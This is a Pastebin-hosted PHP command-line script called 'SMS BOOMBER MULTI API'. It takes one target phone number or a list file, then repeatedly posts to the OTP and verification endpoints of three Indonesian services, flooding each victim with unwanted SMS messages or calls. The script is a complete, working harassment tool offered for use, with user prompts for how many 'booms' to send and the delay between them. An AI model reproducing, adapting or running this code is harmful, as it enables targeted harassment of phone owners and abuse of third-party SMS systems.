Advertisement
shutdown57

SMS BOOMBER MULTI API

Jul 30th, 2018
1,258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.12 KB | None | 0 0
  1. <?php
  2. /**
  3. * SMS BOOMBER MULTI API RANDOM.
  4. * @author shutdown57 < alinkokomansuby@gmail.com >
  5. *
  6. */
  7.  
  8. error_reporting(0);
  9.  
  10. Class __shutdown57{
  11.  
  12.     /** Add Your Api here **/
  13.     public static $API_URL = [
  14.         'tokocash' => ['url' => 'https://www.tokocash.com/oauth/otp',
  15.                        'postdata' => 'msisdn={shutdown57_nomerHP}&accept=call',
  16.                        'success' => '"code":"200000"'
  17.                       ],
  18.         'jdid' =>     ['url' => 'http://sc.jd.id/phone/sendPhoneSms',
  19.                       'postdata' => 'phone={shutdown57_nomerHP}&smsType=1',
  20.                       'success' => '"success":true,"errorCode":null'
  21.                       ],
  22.         'tri'    =>  ['url' => 'https://registrasi.tri.co.id/daftar/generateOTP',
  23.                       'postdata' => 'msisdn={shutdown57_nomerHP}',
  24.                       'success' => '"code":"200"'
  25.                     ]
  26.                     ];
  27.  
  28.     public static $readLine;
  29.  
  30.     public function __banner()
  31.     {
  32.         print
  33. "
  34. :::===  :::  === :::  === :::==== :::====  :::====  :::  ===  === :::= === :::==== :::=====
  35. :::     :::  === :::  === :::==== :::  === :::  === :::  ===  === :::===== :::          ===
  36.  =====  ======== ===  ===   ===   ===  === ===  === ===  ===  === ======== ======      ===
  37.     === ===  === ===  ===   ===   ===  === ===  ===  ===========  === ====     ===  ====  
  38. ======  ===  ===  ======    ===   =======   ======    ==== ====   ===  === ======  ===    
  39.  
  40.     +-------------- [ SMS BOOMBER MULTI API ]
  41.       +-------------------------------------------[ 2018 ]
  42. ";
  43.     }
  44.     public function __Boom($url,$data)
  45.     {
  46.         $c = curl_init();
  47.         $s = array(
  48.             CURLOPT_URL => $url,
  49.             CURLOPT_POST=>true,
  50.             CURLOPT_POSTFIELDS=>$data,
  51.             CURLOPT_RETURNTRANSFER=>true,
  52.             CURLOPT_USERAGENT=>"Mozilla/5.0 (Linux; Android 5.1.1; Andromax A16C3H Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36",
  53.             );
  54.         curl_setopt_array($c,$s);
  55.         return curl_exec($c);
  56.         curl_close($c);
  57.     }
  58.     public function __stuck($text = "Input number / List Number")
  59.     {
  60.         echo PHP_EOL;
  61.         echo "shutdown57:: {$text} >>";
  62.         self::$readLine = rtrim(fgets(STDIN));
  63.     }
  64.     public function __rapi($text,$lenght,$isi)
  65.     {
  66.         return str_pad(strtoupper($text),$lenght,$isi,STR_PAD_BOTH);
  67.     }
  68.     public function __action()
  69.     {
  70.         $read = self::$readLine;
  71.         if(preg_match("/([0-9]{10,16})/",$read))
  72.         {
  73.             echo "[!] Detected phone number ~ ".PHP_EOL;
  74.             echo "[!] $read :: Targeted ~".PHP_EOL;
  75.  
  76.            
  77.             echo PHP_EOL;
  78.             self::__stuck('How much boom to send?');
  79.             $boom=self::$readLine;
  80.             self::__stuck('How much delay to proccess?');
  81.             $delay=self::$readLine;
  82.             for($i=1;$i<=$boom;$i++)
  83.             {
  84.             $api = array_rand(self::$API_URL);
  85.             $post = str_replace("{shutdown57_nomerHP}",$read,self::$API_URL[$api]['postdata']);
  86.             if(preg_match("/".self::$API_URL[$api]['success']."/",self::__Boom(self::$API_URL[$api]['url'],$post)))
  87.             {
  88.                 echo "[$i][SUCCESS] ".self::__rapi($api,10," ")." :: $read ./shutdown57 ".PHP_EOL;
  89.             }else{
  90.                 echo "[$i][FAILED ] ".self::__rapi($api,10," ")." :: $read ./shutdown57".PHP_EOL;
  91.             }
  92.             sleep($delay);
  93.             }
  94.         }elseif(preg_match("/txt/",$read) || is_file($read))
  95.         {
  96.             echo "[!] Detected file list number $read ~".PHP_EOL;
  97.             $nlist = explode(PHP_EOL,@file_get_contents($read));
  98.             foreach($nlist as $no)
  99.             {
  100.                 echo "[!] $no :: Targeted ~".PHP_EOL;
  101.             }
  102.             echo PHP_EOL;
  103.             self::__stuck('How much boom to send?');
  104.             $boom=self::$readLine;
  105.             self::__stuck('How much delay to proccess?');
  106.             $delay=self::$readLine;
  107.             foreach($nlist as $nmr)
  108.             {
  109.                 for($i=1;$i<=$boom;$i++)
  110.                 {
  111.                     $api = array_rand(self::$API_URL);
  112.                     $post = str_replace("{shutdown57_nomerHP}",$nmr,self::$API_URL[$api]['postdata']);
  113.                     if(preg_match("/".self::$API_URL[$api]['success']."/",self::__Boom(self::$API_URL[$api]['url'],$post)))
  114.                     {
  115.                         echo "[$i][SUCCESS] ".self::__rapi($api,10," ")." :: $nmr ./shutdown57 ".PHP_EOL;
  116.                     }else{
  117.                         echo "[$i][FAILED ] ".self::__rapi($api,10," ")." :: $nmr ./shutdown57".PHP_EOL;
  118.                     }
  119.                     sleep($delay);
  120.             }
  121.             }
  122.         }else{
  123.             die('Input not correct ~'.PHP_EOL);
  124.         }
  125.     }
  126.     public function __run__bom_bom()
  127.     {
  128.         self::__banner();
  129.         self::__stuck();
  130.         self::__action();
  131.  
  132.     }
  133.  
  134. }
  135.  
  136. __shutdown57::__run__bom_bom();
  137. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement